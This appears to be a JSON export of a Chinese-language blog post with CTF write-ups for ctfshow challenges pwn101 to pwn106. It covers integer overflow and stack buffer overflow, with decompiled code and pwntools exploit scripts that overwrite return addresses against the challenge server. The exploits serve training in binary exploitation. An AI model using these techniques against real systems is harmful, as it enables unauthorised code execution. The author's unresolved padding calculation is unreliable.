{"id":347,"date":"2025-05-13T15:01:01","date_gmt":"2025-05-13T07:01:01","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=347"},"modified":"2025-05-13T15:01:01","modified_gmt":"2025-05-13T07:01:01","slug":"347","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=347","title":{"rendered":"\u3053\u3063\u3061\u306e\u300c\u597d\u304d\u300d\u306f  \u5c4a\u3044\u3066\u308b\u304b\u306a\uff1f"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">pwn101<\/h2>\n\n\n\n<p>\u6ca1\u5565\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981\u6c42\u8f93\u5165\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u4ea4\u4e92\u5c31\u597d\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;unsigned int v4; \/\/ &#91;rsp+0h] &#91;rbp-10h] BYREF<br> &nbsp;int v5; \/\/ &#91;rsp+4h] &#91;rbp-Ch] BYREF<br> &nbsp;unsigned __int64 v6; \/\/ &#91;rsp+8h] &#91;rbp-8h]<br>\u200b<br> &nbsp;v6 = __readfsqword(0x28u);<br> &nbsp;init(argc, argv, envp);<br> &nbsp;logo();<br> &nbsp;puts(\"Maybe these help you:\");<br> &nbsp;useful();<br> &nbsp;v4 = 0x80000000;<br> &nbsp;v5 = 0x7FFFFFFF;<br> &nbsp;printf(\"Enter two integers: \");<br> &nbsp;if ( (unsigned int)__isoc99_scanf(\"%d %d\", &amp;v4, &amp;v5) == 2 )<br>  {<br> &nbsp; &nbsp;if ( v4 == 0x80000000 &amp;&amp; v5 == 0x7FFFFFFF )<br> &nbsp; &nbsp; &nbsp;gift();<br> &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp;printf(\"upover = %d, downover = %d\\n\", v4, v5);<br> &nbsp; &nbsp;return 0;<br>  }<br> &nbsp;else<br>  {<br> &nbsp; &nbsp;puts(\"Error: Invalid input. Please enter two integers.\");<br> &nbsp; &nbsp;return 1;<br>  }<br>}<\/code><\/pre>\n\n\n\n<p>16\u8fdb\u5236\u8f6c\u503c\u4e3a10\u8fdb\u5236\uff0cnc\u4ea4\u4e92\u8fdb\u5165gift\u51fd\u6570<\/p>\n\n\n\n<p>gift\u91cc\u9762\u6709cat \/flag<\/p>\n\n\n\n<p>\u76f4\u63a5\u62ff\u5230<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn102<\/h2>\n\n\n\n<p>\u66f4\u6ca1\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981V4\u503c\u4e3a-1.\u4ea4\u4e92\u8f93\u5165\u8fdb\u53bb\u7684\u5c31\u662fV4\uff0c\u5199\u4e2a-1\u8fdb\u53bb\u5c31\u62ff\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn103<\/h2>\n\n\n\n<p>\u5173\u952e\u5185\u5bb9\u90fd\u5728ctfshow\u51fd\u6570\u4e2d<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">ctfshow\u51fd\u6570\u4ee3\u7801\u903b\u8f91\u5206\u6790<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u8f93\u5165\u957f\u5ea6<\/strong>\uff1aprintf(&#8220;Enter the length of data (up to 80): &#8220;);<br>__isoc99_scanf(&#8220;%d&#8221;, &amp;v1);\u8fd9\u91cc\u8981\u6c42\u7528\u6237\u8f93\u5165\u6570\u636e\u7684\u957f\u5ea6\uff0c\u5e76\u5b58\u50a8\u5728\u53d8\u91cf<code>v1<\/code>\u4e2d\u3002\u5982\u679c\u8f93\u5165\u7684<code>v1<\/code>\u5927\u4e8e80\uff0c\u7a0b\u5e8f\u4f1a\u76f4\u63a5\u9000\u51fa\uff1aif ( v1 &lt;= 80 )<br>{<br>\u00a0 &#8230;<br>}<br>else<br>{<br>\u00a0 \u00a0puts(&#8220;Invalid input! No cookie for you!&#8221;);<br>}\u56e0\u6b64\uff0c\u8f93\u5165\u7684\u957f\u5ea6\u5fc5\u987b\u5c0f\u4e8e\u6216\u7b49\u4e8e80\uff0c\u624d\u80fd\u7ee7\u7eed\u6267\u884c\u3002<\/li>\n\n\n\n<li><strong>\u8f93\u5165\u6570\u636e<\/strong>\uff1aprintf(&#8220;Enter the data: &#8220;);<br>__isoc99_scanf(&#8221; %[^\\n]&#8221;, dest);\u8fd9\u91cc\u8981\u6c42\u7528\u6237\u8f93\u5165\u6570\u636e\uff0c\u5e76\u5b58\u50a8\u5728<code>dest<\/code>\u6570\u7ec4\u4e2d\u3002<code>dest<\/code>\u6570\u7ec4\u7684\u5927\u5c0f\u662f88\u5b57\u8282\uff0c\u56e0\u6b64\u7406\u8bba\u4e0a\u53ef\u4ee5\u5b58\u50a8\u6700\u591a87\u4e2a\u5b57\u7b26\uff08\u52a0\u4e0a\u4e00\u4e2a\u5b57\u7b26\u4e32\u7ed3\u675f\u7b26<code>\\0<\/code>\uff09\u3002<\/li>\n\n\n\n<li><strong>\u5185\u5b58\u62f7\u8d1d<\/strong>\uff1amemcpy(dest, src, v1);\u8fd9\u91cc\u5c06<code>src<\/code>\u7684\u5185\u5bb9\u62f7\u8d1d\u5230<code>dest<\/code>\u4e2d\uff0c\u62f7\u8d1d\u7684\u957f\u5ea6\u662f<code>v1<\/code>\u3002\u7136\u800c\uff0c<code>src<\/code>\u88ab\u521d\u59cb\u5316\u4e3a<code>0LL<\/code>\uff0c\u5373\u7a7a\u6307\u9488\u3002\u5982\u679c<code>v1<\/code>\u5927\u4e8e0\uff0c<code>memcpy<\/code>\u4f1a\u5c1d\u8bd5\u4ece\u7a7a\u6307\u9488\u62f7\u8d1d\u6570\u636e\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u672a\u5b9a\u4e49\u884c\u4e3a\uff08\u5982\u7a0b\u5e8f\u5d29\u6e83\uff09\u3002\u4f46\u5982\u679c<code>v1<\/code>\u4e3a0\uff0c<code>memcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u56e0\u4e3a\u62f7\u8d1d\u957f\u5ea6\u4e3a0\u3002<\/li>\n\n\n\n<li><strong>\u6761\u4ef6\u5224\u65ad<\/strong>\uff1aif ( (unsigned __int64)dest > 0x1BF52 )<br>\u00a0 \u00a0gift();\u8fd9\u91cc\u5224\u65ad<code>dest<\/code>\u7684\u5730\u5740\u662f\u5426\u5927\u4e8e<code>0x1BF52<\/code>\u3002\u7531\u4e8e<code>dest<\/code>\u662f\u4e00\u4e2a\u5c40\u90e8\u53d8\u91cf\uff0c\u5176\u5730\u5740\u901a\u5e38\u5728\u6808\u4e0a\uff0c\u4e14\u5730\u5740\u503c\u901a\u5e38\u8fdc\u5927\u4e8e<code>0x1BF52<\/code>\uff0c\u56e0\u6b64\u8fd9\u4e2a\u6761\u4ef6\u5f88\u5bb9\u6613\u6ee1\u8db3\u3002<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u8f93\u5165\u4e24\u6b210\u7684\u903b\u8f91<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u7b2c\u4e00\u6b21\u8f93\u51650<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u8f93\u5165\u957f\u5ea6<code>v1<\/code>\u4e3a0\u3002<\/li>\n\n\n\n<li>\u7a0b\u5e8f\u4f1a\u8981\u6c42\u8f93\u5165\u6570\u636e\uff0c\u4f46\u56e0\u4e3a<code>v1<\/code>\u4e3a0\uff0c<code>memcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u3002<\/li>\n\n\n\n<li><code>dest<\/code>\u6570\u7ec4\u7684\u5185\u5bb9\u4e0d\u4f1a\u88ab\u4fee\u6539\uff0c\u4ecd\u7136\u662f\u672a\u521d\u59cb\u5316\u7684\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u7b2c\u4e8c\u6b21\u8f93\u51650<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u518d\u6b21\u8f93\u5165\u957f\u5ea6<code>v1<\/code>\u4e3a0\u3002<\/li>\n\n\n\n<li>\u7a0b\u5e8f\u518d\u6b21\u8981\u6c42\u8f93\u5165\u6570\u636e\uff0c\u4f46<code>v1<\/code>\u4ecd\u7136\u4e3a0\uff0c<code>memcpy<\/code>\u4ecd\u7136\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u3002<\/li>\n\n\n\n<li><code>dest<\/code>\u6570\u7ec4\u7684\u5185\u5bb9\u4ecd\u7136\u672a\u88ab\u4fee\u6539\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u6761\u4ef6\u5224\u65ad<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u7531\u4e8e<code>dest<\/code>\u7684\u5730\u5740\u901a\u5e38\u8fdc\u5927\u4e8e<code>0x1BF52<\/code>\uff0c\u6761\u4ef6<code>((unsigned __int64)dest > 0x1BF52)<\/code>\u6210\u7acb\u3002<\/li>\n\n\n\n<li>\u56e0\u6b64\uff0c\u7a0b\u5e8f\u4f1a\u8c03\u7528<code>gift()<\/code>\u51fd\u6570\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u6f0f\u6d1e\u603b\u7ed3<\/h3>\n\n\n\n<p>\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u6839\u672c\u539f\u56e0\u662f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>src<\/code>\u88ab\u521d\u59cb\u5316\u4e3a<code>0LL<\/code>\uff0c\u4f46\u6ca1\u6709\u68c0\u67e5<code>src<\/code>\u662f\u5426\u4e3a\u6709\u6548\u6307\u9488\u3002<\/li>\n\n\n\n<li><code>v1<\/code>\u4e3a0\u65f6\uff0c<code>memcpy<\/code>\u4e0d\u4f1a\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\uff0c\u4f46\u7a0b\u5e8f\u6ca1\u6709\u5bf9\u8fd9\u79cd\u60c5\u51b5\u8fdb\u884c\u7279\u6b8a\u5904\u7406\u3002<\/li>\n\n\n\n<li>\u6761\u4ef6<code>((unsigned __int64)dest > 0x1BF52)<\/code>\u8fc7\u4e8e\u5bbd\u677e\uff0c\u5bb9\u6613\u88ab\u6ee1\u8db3\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u56e0\u6b64\uff0c\u901a\u8fc7\u8fde\u7eed\u8f93\u5165\u4e24\u6b210\uff0c\u53ef\u4ee5\u7ed5\u8fc7<code>memcpy<\/code>\u7684\u6f5c\u5728\u5d29\u6e83\uff0c\u5e76\u6ee1\u8db3\u6761\u4ef6\u8c03\u7528<code>gift()<\/code>\u51fd\u6570\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u8fdb\u5165gift\u51fd\u6570\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn104<\/h2>\n\n\n\n<p>\u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u5f88\u6807\u51c6\u7684\u6574\u6570\u6ea2\u51fa\u7136\u540e\u4f9d\u9760\u5df2\u5199\u7684that\u51fd\u6570\u8fdb\u884c\u63d0\u6743<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u4f20\u5165\uff0c\u4f20\u9012\u7684\u503c\u662f\u8bfb\u53d6buf\u7684\u957f\u5ea6\uff0c\u5199\u957f\u70b9\u5c31\u884c\u4e86\uff0c\u65e0\u6240\u8c13\u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"pwn.challenge.ctf.show\",28302)<br>payload = b'a'*(0xe+8) + p64(0x000000000040078D)<br>p.sendline(b'21321')<br>p.sendline(payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn105<\/h2>\n\n\n\n<p>\u5b58\u5728\u63d0\u6743\u51fd\u6570\uff0c\u62ff\u5230\u5730\u5740<\/p>\n\n\n\n<p>dest\u6ea2\u51fa\u4e00\u4e0b\uff0c0x11+4<\/p>\n\n\n\n<p>v3\u662fint 8<\/p>\n\n\n\n<p>\u5b9e\u9645\u4e0a\u5c31\u662f\u4e8c\u8fdb\u5236\u53d6\u516b\u4f4d\u7684\u503c<\/p>\n\n\n\n<p>\u4e5f\u5c31\u662f\u8bf4\uff0c\u80fd\u53d6\u7684\u6700\u5927\u503c\u662f 1111 1111 = 255<\/p>\n\n\n\n<p>\u6240\u4ee5\u8981\u60f3\u7ed5\u8fc7if\u6761\u4ef6\u5224\u65ad<\/p>\n\n\n\n<p>\u5c31\u9700\u8981255+1\uff08\u8fd9\u4e2a1\u662f\u56e0\u4e3a\u8fd8\u9700\u8981\u7b97\u4e0a0\u8fd9\u4e2a\u503c\uff0c\u5171256\u4e2a\u503c\uff09+ 4 ~~~264<\/p>\n\n\n\n<p>ljust\u65b9\u6cd5\u586b\u5145\u4e00\u4e0b\u5783\u573e\u6570\u636e\u5c31\u884c\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>char *__cdecl ctfshow(char *s)<br>{<br> &nbsp;char dest&#91;8]; \/\/ &#91;esp+7h] &#91;ebp-11h] BYREF<br> &nbsp;unsigned __int8 v3; \/\/ &#91;esp+Fh] &#91;ebp-9h]<br>\u200b<br> &nbsp;v3 = strlen(s);<br> &nbsp;if ( v3 &lt;= 3u || v3 &gt; 8u )<br>  {<br> &nbsp; &nbsp;puts(\"Authentication failed!\");<br> &nbsp; &nbsp;exit(-1);<br>  }<br> &nbsp;printf(\"Authentication successful, Hello %s\", s);<br> &nbsp;return strcpy(dest, s);<br>}<\/code><\/pre>\n\n\n\n<p>exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"pwn.challenge.ctf.show\",28175)<br>shell = 0x0804870E<br>payload = b'a'*(0x11+4) + p32(shell)<br>payload = payload.ljust(0x104,b'a')<br>p.sendline(payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn106<\/h2>\n\n\n\n<p>\u548c105\u5de8\u50cf<\/p>\n\n\n\n<p>\u6839\u636e\u5b9e\u9645\u4ea4\u4e92\u6548\u679c\u641e\u4e0aru\u6b63\u786e\u4ea4\u4e92\u5c31\u597d\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br># context.log_level = 'debug'<br>p = remote(\"pwn.challenge.ctf.show\",28231)<br>shell = 0x08048919<br>payload = b'a'*(0x14+4) + p32(shell)<br>payload = payload.ljust(260,b'a')<br># cat_flag = shell<br># payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234<br>p.recvuntil(b'choice:')<br>p.sendline(b'1')<br>p.recvuntil(b'username:')<br>p.sendline(b' ')<br>p.recv()<br>p.sendline(payload)<br>\u200b<br>p.interactive()<\/code><\/pre>\n\n\n\n<p>\uff08\u8fd8\u6709\u4e9b\u8bb8\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u88ab\u6ce8\u91ca\u6389\u7684payload\u4e5f\u80fd\u7528\uff0c\u4e3a\u4ec0\u4e48\u540e\u8865\u9f50\u7684\u5783\u573e\u6570\u636e\u957f\u5ea6\u662f234\uff0c\u4e0d\u5c31\u5e94\u8be5\u662f256+3~~~256+7\u5417\uff0c\u5947\u5947\u602a\u602a\u7684\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p>pwn101 \u6ca1\u5565\u4e1c\u897f\uff0cmain\u51fd\u6570\u8981\u6c42\u8f93\u5165\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u4ea4\u4e92\u5c31\u597d\u4e86 16\u8fdb\u5236\u8f6c\u503c\u4e3a10\u8fdb\u5236\uff0cnc\u4ea4\u4e92\u8fdb\u5165gif [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-347","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=347"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/347\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=347"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=347"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}